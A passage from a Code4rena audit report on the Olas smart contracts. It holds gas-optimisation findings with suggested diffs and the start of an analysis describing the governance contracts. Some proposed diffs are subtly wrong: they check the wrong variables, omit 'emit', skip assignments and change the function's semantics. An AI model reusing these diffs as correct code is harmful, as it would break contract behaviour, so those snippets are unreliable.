The `Tokenomics.changeRegistries()` function emits three events `ComponentRegistryUpdated`, `AgentRegistryUpdated` and `ServiceRegistryUpdated` but these events are only emitted in this function. We can make the `Tokenomics.changeManagers()` function more gas efficient if we combine these `ComponentRegistryUpdated`, `AgentRegistryUpdated` and `ServiceRegistryUpdated` events to a single event. The diff below shows how the code could be refactored:

```

file: tokenomics/contracts/Tokenomics.sol

450:     function changeRegistries(address _componentRegistry, address
451:         _agentRegistry, address _serviceRegistry) external {
452:         // Check for the contract ownership
453:         if (msg.sender != owner) {
454:             revert OwnerOnly(msg.sender, owner);
455:         }
456:         // Check for registries addresses
457:         if (_componentRegistry != address(0)) {
458:             componentRegistry = _componentRegistry;

```

```

459:         emit ComponentRegistryUpdated(_componentRegistry);
460:     }
461:     if (_agentRegistry != address(0)) {
462:         agentRegistry = _agentRegistry;
463:         emit AgentRegistryUpdated(_agentRegistry);
464:     }
465:     if (_serviceRegistry != address(0)) {
466:         serviceRegistry = _serviceRegistry;
467:         emit ServiceRegistryUpdated(_serviceRegistry);
468:     }
469: }

```

```

diff --git a/tokenomics/contracts/Tokenomics.sol
b/tokenomics/contracts/Tokenomics.sol
index 2ef2708..28e3bfb 100644
--- a/tokenomics/contracts/Tokenomics.sol
+++ b/tokenomics/contracts/Tokenomics.sol
@@ -129,9 +129,7 @@ contract Tokenomics is TokenomicsConstants,
 IErrorsTokenomics {
     event IncentiveFractionsUpdateRequested(uint256 indexed epochNumber,
 uint256 rewardComponentFraction,
     uint256 rewardAgentFraction, uint256 maxBondFraction, uint256
 topUpComponentFraction, uint256 topUpAgentFraction);
     event IncentiveFractionsUpdated(uint256 indexed epochNumber);
-    event ComponentRegistryUpdated(address indexed componentRegistry);
-    event AgentRegistryUpdated(address indexed agentRegistry);
-    event ServiceRegistryUpdated(address indexed serviceRegistry);
+    event
ComponentRegistryAgentRegistryAndServiceRegistryUpdated(address indexed
componentRegistry, address indexed agentRegistry, address indexed
serviceRegistry);
     event DonatorBlacklistUpdated(address indexed blacklist);
     event EpochSettled(uint256 indexed epochCounter, uint256
treasuryRewards, uint256 accountRewards, uint256 accountTopUps);
     event TokenomicsImplementationUpdated(address indexed
implementation);
@@ -454,17 +452,11 @@ contract Tokenomics is TokenomicsConstants,
 IErrorsTokenomics {
     }

     // Check for registries addresses
-    if (_componentRegistry != address(0)) {
+    if (_componentRegistry != address(0) && _agentRegistry !=
address(0) && _serviceRegistry != address(0)) {
         componentRegistry = _componentRegistry;

```

```

-         emit ComponentRegistryUpdated(_componentRegistry);
-     }
-     if (_agentRegistry != address(0)) {
-         agentRegistry = _agentRegistry;
-         emit AgentRegistryUpdated(_agentRegistry);
-     }
-     if (_serviceRegistry != address(0)) {
-         serviceRegistry = _serviceRegistry;
-         emit ServiceRegistryUpdated(_serviceRegistry);
+         emit
ComponentRegistryAgentRegistryAndServiceRegistryUpdated(_componentRegistr
y, _agentRegistry, _serviceRegistry)
    }
}

```

Estimated gas saved: 750 gas units

5. Combine the events in `Treasury.changeManagers()` to reduce gas cost

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L156-#L177>

The `Treasury.changeManagers()` function emits three events `TokenomicsUpdated`, `DepositoryUpdated` and `DispenserUpdated` but these events are only emitted in this function. We can make the `Treasury.changeManagers()` function more gas efficient if we combine these `TokenomicsUpdated`, `DepositoryUpdated` and `DispenserUpdated` events to a single event. The diff below shows how the code could be refactored:

```

file: tokenomics/contracts/Treasury.sol

156:     function changeManagers(address _tokenomics, address _depository,
address _dispenser) external {
157:         // Check for the contract ownership
158:         if (msg.sender != owner) {
159:             revert OwnerOnly(msg.sender, owner);
160:         }
161:
162:         // Change Tokenomics contract address
163:         if (_tokenomics != address(0)) {
164:             tokenomics = _tokenomics;
165:             emit TokenomicsUpdated(_tokenomics);
166:         }
167:         // Change Depository contract address

```

```

168:         if (_depository != address(0)) {
169:             depository = _depository;
170:             emit DepositoryUpdated(_depository);
171:         }
172:         // Change Dispenser contract address
173:         if (_dispenser != address(0)) {
174:             dispenser = _dispenser;
175:             emit DispenserUpdated(_dispenser);
176:         }
177:     }

```

```

diff --git a/tokenomics/contracts/Treasury.sol
b/tokenomics/contracts/Treasury.sol
index 516c631..cc28ac9 100644
--- a/tokenomics/contracts/Treasury.sol
+++ b/tokenomics/contracts/Treasury.sol
@@ -38,9 +38,7 @@ import "./interfaces/ITokenomics.sol";
    /// invariant { :msg "broken conservation law" } address(this).balance ==
    ETHFromServices + ETHOwned;
    contract Treasury is IErrorsTokenomics {
        event OwnerUpdated(address indexed owner);
-       event TokenomicsUpdated(address indexed tokenomics);
-       event DepositoryUpdated(address indexed depository);
-       event DispenserUpdated(address indexed dispenser);
+       event TokenomicsDepositoryAndDispenserUpdated(address indexed
+ tokenomics, address indexed depository, address indexed dispenser);
        event DepositTokenFromAccount(address indexed account, address
indexed token, uint256 tokenAmount, uint256 olasAmount);
        event DonateToServicesETH(address indexed sender, uint256[]
serviceIds, uint256[] amounts, uint256 donation);
        event Withdraw(address indexed token, address indexed to, uint256
tokenAmount);
@@ -159,20 +157,12 @@ contract Treasury is IErrorsTokenomics {
        revert OwnerOnly(msg.sender, owner);
    }

-       // Change Tokenomics contract address
-       if (_tokenomics != address(0)) {
+       // Change Tokenomics contract address, Depository contract
+ address and Dispenser contract address
+       if (_tokenomics != address(0) && depository != address(0) &&
+ dispenser != address(0)) {
            tokenomics = _tokenomics;
-       emit TokenomicsUpdated(_tokenomics);
-       }

```

```

-      // Change Depository contract address
-      if (_depository != address(0)) {
-          depository = _depository;
-          emit DepositoryUpdated(_depository);
-      }
-      // Change Dispenser contract address
-      if (_dispenser != address(0)) {
-          dispenser = _dispenser;
-          emit DispenserUpdated(_dispenser);
+          TokenomicsDepositoryAndDispenserUpdated(_tokenomics,
+_depository, _dispenser);
      }

```

Estimated gas saved: 750 gas units

[G-14] Use assembly in place of abi.decode to extract calldata values more efficiently

Instead of using abi.decode, we can use assembly to decode our desired calldata values directly. This will allow us to avoid decoding calldata values that we will not use.

Please note these instances were not included in the bot reports.

2 Instances

- <https://github.com/code-42n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L351-#L352>
- <https://github.com/code-42n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L355-#L356>

file: governance/contracts/multisigs/GuardCM.sol

```

337:     function _verifySchedule(bytes memory data, bytes4 selector)
internal {
338:         // Copy the data without the selector
339:         bytes memory payload = new bytes(data.length -
SELECTOR_DATA_LENGTH);
340:         for (uint256 i = 0; i < payload.length; ++i) {
341:             payload[i] = data[i + 4];
342:         }
343:
344:         // Prepare the decoding data sets
345:         address[] memory targets;

```

```

346:         bytes[] memory callDatas;
347:         if (selector == SCHEDULE) {
348:             targets = new address[](1);
349:             callDatas = new bytes[](1);
350:             // Decode the data in the schedule function
351:             (targets[0], , callDatas[0], , , ) =
352:                 abi.decode(payload, (address, uint256, bytes,
bytes32, bytes32, uint256)); //@audit use assembly
353:         } else {
354:             // Decode the data in the scheduleBatch function
355:             (targets, , callDatas, , , ) =
356:                 abi.decode(payload, (address[], uint256[], bytes[],
bytes32, bytes32, uint256)); //@audit use assembly
.
.
.
379:     }

```

[G-15] Move lesser gas costing require checks to the top

Require() or revert() statements that check input arguments or cost lesser gas should be at the top of the function. Checks that involve constants should come before checks that involve state variables, function calls, and calculations. By doing these checks first, the function is able to revert before wasting alot of gas in a function that may ultimately revert in the unhappy case.

31 Instances

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L44-#L50>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L59-#L65>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/veOLAS.sol#L377-#L394>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/veOLAS.sol#L435-#L454>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/veOLAS.sol#L458-#L479>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/veOLAS.sol#L483-#L507>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/FxGovernorTunnel.sol#L114-#L123>

- <https://github.com/code423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/HomeMediator.sol#L112-#L122>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/BridgedERC20.sol#30-#L43>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L37-#L50>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L54-#L66>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L78-#L91>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/UnitRegistry.sol#L121-#L147>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericManager.sol#L20-#L33>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L123-#L136>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L143-#L159>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L163-#L173>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L183-#L236>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L46-#L59>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L64-#L80>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L36-#L49>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L56-#L77>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L384-#L400>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L404-#L417>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L423-#L444>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L450-#L469>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L1085-#L1151>

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L156-#L177>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L182-#L200>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L313-#L371>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L487-#L503>

[G-16] Using calldata instead of memory for read-only arguments in external functions saves gas

When a function with a memory array is called externally, the `abi.decode()` step has to use a for-loop to copy each index of the calldata to the memory index. Each iteration of this for-loop costs at least 60 gas (i.e. $60 * \text{<mem_array>.length}$). Using calldata directly, obviates the need for such a loop in the contract code and runtime execution.

Please note these instances were not included in the bot report.

13 Instances

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L390>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L442>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L443>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L444>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L445>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L496>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L497>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L498>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L78>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/multisigs/GnosisSafeMultisig.sol#L92>

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/multisigs/GnosisSafeMultisig.sol#L94>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L89>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol%5D#L257>

[G-17] State variables should be cached in stack variables rather than re-reading them from storage

The instances below point to the second+ access of a state variable within a function. Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.

Please note these instances were not included in the bot reports.

53 Instances

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L45>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L60>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L78>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/FxGovernorTunnel.sol#L115>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/BridgedERC20.sol#L33>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/BridgedERC20.sol#L51>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/BridgedERC20.sol#L62>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L40>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L56>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L81>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/UnitRegistry.sol#L60>

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/UnitRegistry.sol#L126>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/GenericManager.sol#L23>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/GenericManager.sol#L39>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/registries/contracts/GenericManager.sol#L50>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L126>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L146>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L166>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L186>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L227>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L247>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L49>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L67>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/DonatorBlacklist.sol#L39>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/DonatorBlacklist.sol#L59>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L387>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L407>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L426>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L453>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L477>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L507>

- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L572>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L612>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L512>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L633>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L796>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L906>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L931>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L1090>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L122>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L140>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L159>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L185>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L215>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L266>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L316>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L397>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L436>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L496>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L478>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L490>

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L510>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L534>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L545>

[G-18] Functions guaranteed to revert when called by normal users can be marked payable

If a function modifier or require such as onlyOwner/onlyX is used, the function will revert if a normal user tries to pay the function. Marking the function as payable will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are CALLVALUE(2), DUP1(3), ISZERO(3), PUSH2(3), JUMPI(10), PUSH1(3), DUP1(3), REVERT(0), JUMPDEST(1), POP(2) which costs an average of about 21 gas per call to the function, in addition to the extra deployment cost. the recommended Mitigation Steps is that Functions guaranteed to revert when called by normal users can be marked payable.

55 Instances

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L43-#L54>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L58-#L69>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/OLAS.sol#L75-#L85>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L441-#L487>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L495-#L532>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L539-#L557>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/multisigs/GuardCM.sol#L560-#L569>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/FxGovernorTunnel.sol#L81-#L95>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/FxGovernorTunnel.sol#L107-#L168>

- <https://github.com/code423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/HomeMediator.sol#L81-#L95>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/HomeMediator.sol#L105-#L169>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/BridgedERC20.sol#L30-#L43>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/BridgedERC20.sol#L48-#L55>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/governance/contracts/bridges/BridgedERC20.sol#L59-#L66>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L37-#L50>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L54-#L66>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol#L78-#L91>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericRegistry.sol>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/UnitRegistry.sol#L49-#L114>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/UnitRegistry.sol#L121-#L147>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericManager.sol#L20-#L33>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericManager.sol#L36-#L44>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/registries/contracts/GenericManager.sol#L47-#L55>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L123-#L136>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L143-#L159>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L163-#L173>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L183-#L236>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Depository.sol#L244-#L277>
- <https://github.com/code423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L46-#L59>

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Dispenser.sol#L64-#L80>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/DonatorBlacklist.sol#L36-#L49>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/DonatorBlacklist.sol#L56-#L77>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L384-#L400>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L404-#L417>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L423-#L444>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L450-#L469>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L474-#L482>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L497-#L553>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L562-#L602>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L609-#L625>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L630-#L644>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L788-#L825>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L1085-#L1151>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L137-#L150>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L156-#L177>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L182-#L200>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L212-#L245>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L313-#L371>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L387-#L420>

- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L428-#L458>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L466-#L483>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L487-#L503>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L507-#L521>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L531-#L539>
- <https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Treasury.sol#L542-#L550>

Conclusion

As you embark on incorporating the recommended optimizations, we want to emphasize the utmost importance of proceeding with vigilance and dedicating thorough efforts to comprehensive testing. It is of paramount significance to ensure that the proposed alterations do not inadvertently introduce fresh vulnerabilities, while also successfully achieving the anticipated enhancements in performance.

We strongly advise conducting a meticulous and exhaustive evaluation of the modifications made to the codebase. This rigorous scrutiny and exhaustive assessment will play a pivotal role in affirming both the security and efficacy of the refactored code. Your careful attention to detail, coupled with the implementation of a robust testing framework, will provide the necessary assurance that the refined code aligns with your security objectives and effectively fulfills the intended performance optimizations.

[kupermind \(Olas\) acknowledged](#)

Audit Analysis

For this audit, 5 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The [report highlighted below](#) by hunter_w3b received the top score from the judge.

The following wardens also submitted reports: [Sathish9098](#), [pavankv](#), [peanuts](#), and [joaovwfreire](#).

Description overview of The Olas Contest

Olas is a platform that allows for the creation of off-chain services to support decentralized applications . These off-chain services handle things like data feeds, APIs, computation, automation, etc. that don't need to be included on-chain. Some examples of off-chain services could be: price oracles that fetch token prices from exchanges, natural language AI assistants, weather data APIs, computer vision APIs, web scraped data feeds, etc.

In summary, Olas is:

- A unified network for off-chain services like automation, oracles, co-owned AI.
- It offers tools/infrastructure to build off-chain services and incentivize their creation/operation in a decentralized way.
- The key parts are governance, registries, and tokenomics:
 - Governance allows the community to propose/vote on changes using the veOLAS governance token. This includes cross-chain governance.
 - Registries allow developers to register/manage their off-chain code (represented on-chain as NFTs).
 - Tokenomics incentivizes creation of useful code and capital growth via bonding mechanism.

So in essence, Olas aims to provide the plumbing/incentives for a decentralized network of off-chain services powered by its native OLAS token and governed by its community. The core value proposition is enabling scalable dapps without bloating blockchains by leveraging these off-chain "helper" services.

The key contracts of Olas protocol for this Audit are:

- **GovernorOLAS.sol:** This is the main governance contract that allows anyone meeting a threshold to propose governance actions for veOLAS holders to vote on. It implements an OpenZeppelin-based governance system with features like proposal creation, voting, execution and compatibility with previous versions. This contract is important to audit how governance decisions are made.
- **OLAS.sol:** This ERC-20 token contract includes additional owner/minter management features and inflation-controlled minting. Auditing this contract ensures the tokenomics are implemented as intended and ownership/minting is restricted properly.
- **veOLAS.sol:** This contract manages the virtual voting tokens representing voting power based on amount/time of OLAS locked. Auditing this contract is important to validate the voting power calculation and that votes can only be cast by veOLAS holders.
- **Tokenomics.sol:** This contract manages OLAS token inflation and reward mechanisms. A thorough audit of this contract is needed to ensure rewards are distributed correctly over epochs as intended by the protocol.

- **Treasury.sol:** This contract manages the OLAS treasury by handling funds, bond deposits/withdrawals and balances. Auditing this contract is critical to validate treasury funds are stored and managed securely per the tokenomics design.

Auditing the key contracts of the Olas Protocol is essential to ensure the security of the protocol and they form the backbone of the Olas protocol, outlining its governance structure, lending terms, token management. Focusing on them first will provide a solid foundation for understanding the protocol's operation and how it manages user assets and stability. Here's why it's important to audit these specific contracts:

As the audit of these contracts, I checked for potential security vulnerabilities, such as reentrancy, access control issues, and logic flaws. Additionally, thoroughly test the functions and roles defined in these contracts to make sure they behave as expected.

System Overview

Scope

Governance contracts

- **GovernorOLAS.sol:** This is the main governance contract. It allows anyone meeting a threshold to propose governance actions, and for veOLAS holders to vote on proposals. The contract is an implementation of a governance system using the OpenZeppelin framework, integrating features such as proposal creation, voting, execution, timelock control, and compatibility with previous versions, designed for the Autonolas protocol.
- **Timelock.sol:** The contract is a time-controlled execution system, utilizing the OpenZeppelin TimelockController, for managing delays and access control over proposed and executed transactions.
- **OLAS.sol:** This contract is an ERC-20 token with additional features such as owner and minter management, inflation-controlled minting, and allowance manipulation.
- **veOLAS.sol:** This manages the virtual veOLAS tokens that represent voting power. Holders lock OLAS tokens to receive veOLAS with voting weight based on amount/time locked. The veOLAS contract is an implementation of a time-weighted voting system using a modified Curve Finance Vyper implementation, allowing users to lock OLAS tokens for a specified period with time-dependent voting power and checkpointed state.
- **wveOLAS.sol:** The contract Serving as a wrapper for view functions of the veOLAS contract, implementing a token with features related to voting power, supply points, slope changes, user points, and other functionalities, while restricting certain operations such as transfers and delegation to ensure non-transferability and non-delegatability of the underlying veOLAS token.

- **GuardCM.sol:** This contract is designed for a Gnosis Safe community multisig (CM). It serves as a security guard to validate transactions executed by a multisig wallet, checking for authorized combinations of target addresses, function selectors, and chain IDs. Additionally, it includes functionality for pausing and unpausing the guard, changing the governor address, and managing authorized target-selector-chainID combinations. The contract also handles bridged transactions across different chains and supports multiple operation selectors like `schedule`, `scheduleBatch`, `requireToPassMessage`, `processMessageFromForeign`, and `sendMessageToChild`.
